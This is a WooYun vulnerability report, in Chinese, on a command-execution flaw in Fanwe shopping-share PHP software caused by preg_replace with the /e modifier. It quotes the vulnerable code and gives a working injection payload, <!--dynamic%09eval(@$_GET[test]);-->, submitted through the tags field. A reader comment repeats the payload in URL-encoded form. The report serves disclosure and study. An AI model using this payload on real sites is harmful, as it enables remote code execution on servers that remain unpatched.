当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(16) 关注此漏洞

缺陷编号: WooYun-2014-88871

漏洞标题: 方维购物分享最新版前台代码漏洞

相关厂商: fanwe.com

漏洞作者: 0x_Jin

提交时间: 2014-12-27 00:27

公开时间: 2015-03-27 00:28

漏洞类型: 命令执行

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: php源码审核 命令执行

5人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-27: 细节已通知厂商并且等待厂商处理中
2014-12-30: 厂商已经确认,细节仅向厂商公开
2015-01-02: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-02-23: 细节向核心白帽子及相关领域专家公开
2015-03-05: 细节向普通白帽子公开
2015-03-15: 细节向实习白帽子公开
2015-03-27: 细节向公众公开

简要描述:

一步两步似魔鬼的步伐

详细说明:

缺陷文件:

/core/function/global.func.php



如下:

code 区域
/**
* 显示页面
* @param string $cache_file 缓存路径
* @param bool $is_session 是否更新session
* @param bool $is_return 是否返回页面内容
* @return mixed
*/
function display($cache_file = '',$is_session = true,$is_return = false)

{

global $_FANWE;

$content = NULL;

if(!empty($cache_file) && !file_exists($cache_file))

{

if(makeDir(preg_replace("/^(.*)\/.*?\.htm$/is", "\\1", $cache_file)))

{

$dynamic_php = '';

if(isset($_FANWE['page_parses']))

$dynamic_php = "<?php\n".' $_FANWE[\'CACHE_CSS_SCRIPT_PHP\']'." = ".var_export($_FANWE['page_parses'], true).";\n?>";



$content = ob_get_contents();

express($content);



if(isset($_FANWE['tpl_image_formats']))

$dynamic_php .= "<?php\n".' setTplFormats(\'tpl_image_formats\','.var_export($_FANWE['tpl_image_formats'], true).");\n?>";



writeFile($cache_file,$dynamic_php.$content);

}

}



require_once fimport('dynamic/common');

$module_dynamic = '';

if(defined('MODULE_NAME') && MODULE_NAME != '')

$module_dynamic = fimport('dynamic/'.MODULE_NAME);



if(!empty($module_dynamic) && file_exists($module_dynamic))

require_once $module_dynamic;



if($content === NULL)

{

$content = ob_get_contents();

express($content);

}

ob_end_clean();


$content = preg_replace('/<!--dynamic\s+(.+?)(?:|\sargs=(.*?))-->/ies', "\\1('\\2');", $content);





最后的preg_replace 使用了/e的命令执行符号。

$content可被控制。

即页面上如果出现<!--dynamic args=(phpinfo())--> 即被执行args里的命令

寻找一个变量能被没有过滤掉关键字符之类,并且能在页面上显示的就行。



找了半天,找了个album.php的模块下的一个tags .

缺陷文件

/core/module/album.module.php 的300多行:



code 区域
if($share['status'])
{
$data['title'] = htmlspecialchars($_FANWE['request']['title']);
$data['content'] = htmlspecialchars($_FANWE['request']['content']);
$data['tags'] = implode(' ',$tags);
$data['uid'] = $_FANWE['uid'];
$data['share_id'] = $share['share_id'];
$data['create_day'] = getTodayTime();
$data['create_time'] = TIME_UTC;

$aid = FDB::insert('album',$data,true);





Tags 变量只做了分割处理。分割字符串为空格即%20

前面的正则条件是需要匹配\s 即空白字符,其中包括\t \r \n 等

所以,提交tags标签时,提交如下类似的字符串即进入到模版缓存替换执行中。



<!--dynamic%09eval(@$_GET[test]);-->



本地测试如下图:

无标题.png



无标题.png



无标题.png

漏洞证明:

无标题.png



无标题.png



无标题.png

修复方案:

你们比我更专业~

版权声明:转载请注明来源 0x_Jin@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:1

确认时间:2014-12-30 15:47

厂商回复:

程序已暂停维护,不再销售

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-12-27 08:55 | 残废 ( 普通白帽子 | Rank:274 漏洞数:58 | 我是残废,啦啦啦啦)
    2

    你关注的白帽子 0x_Jin 发表了漏洞 方维购物分享最新版前台代码漏洞

  2. 2014-12-27 11:57 | ′雨。 认证白帽子 ( 普通白帽子 | Rank:1332 漏洞数:198 | Only Code Never Lie To Me.)
    1

    666

  3. 2014-12-27 12:00 | kydhzy ( 普通白帽子 | Rank:362 漏洞数:62 | 软件测试)
    1

    大半夜不陪妹纸睡觉,竟然在挖洞

  4. 2015-02-09 19:45 | 蓝莓说 ( 实习白帽子 | Rank:60 漏洞数:18 | 爱网络安全 代码审计 php网站开发)
    0

    这个在新版3.1没用 你这个肯定是3.0的 看tag的编码就知道了

  5. 2015-03-27 09:59 | ca1n ( 普通白帽子 | Rank:100 漏洞数:22 | not yet)
    0

    。。。jin大从前端转后端的节奏

  6. 2015-03-31 03:19 | 蓝莓说 ( 实习白帽子 | Rank:60 漏洞数:18 | 爱网络安全 代码审计 php网站开发)
    0

    我测试了下怎么不可以 album.php?action=show&id=13&test=phpinfo(); <div class="element"> 时尚元素:<a href="/book.php?action=shopping&tag=%253C%2521--dynamic%252509eval%2528%2540%2524_GET%255Btest%255D%2529%253B--%253E"><!--dynamic%09eval(@$_GET[test]);--></a>

登录后才能发表评论,请先 登录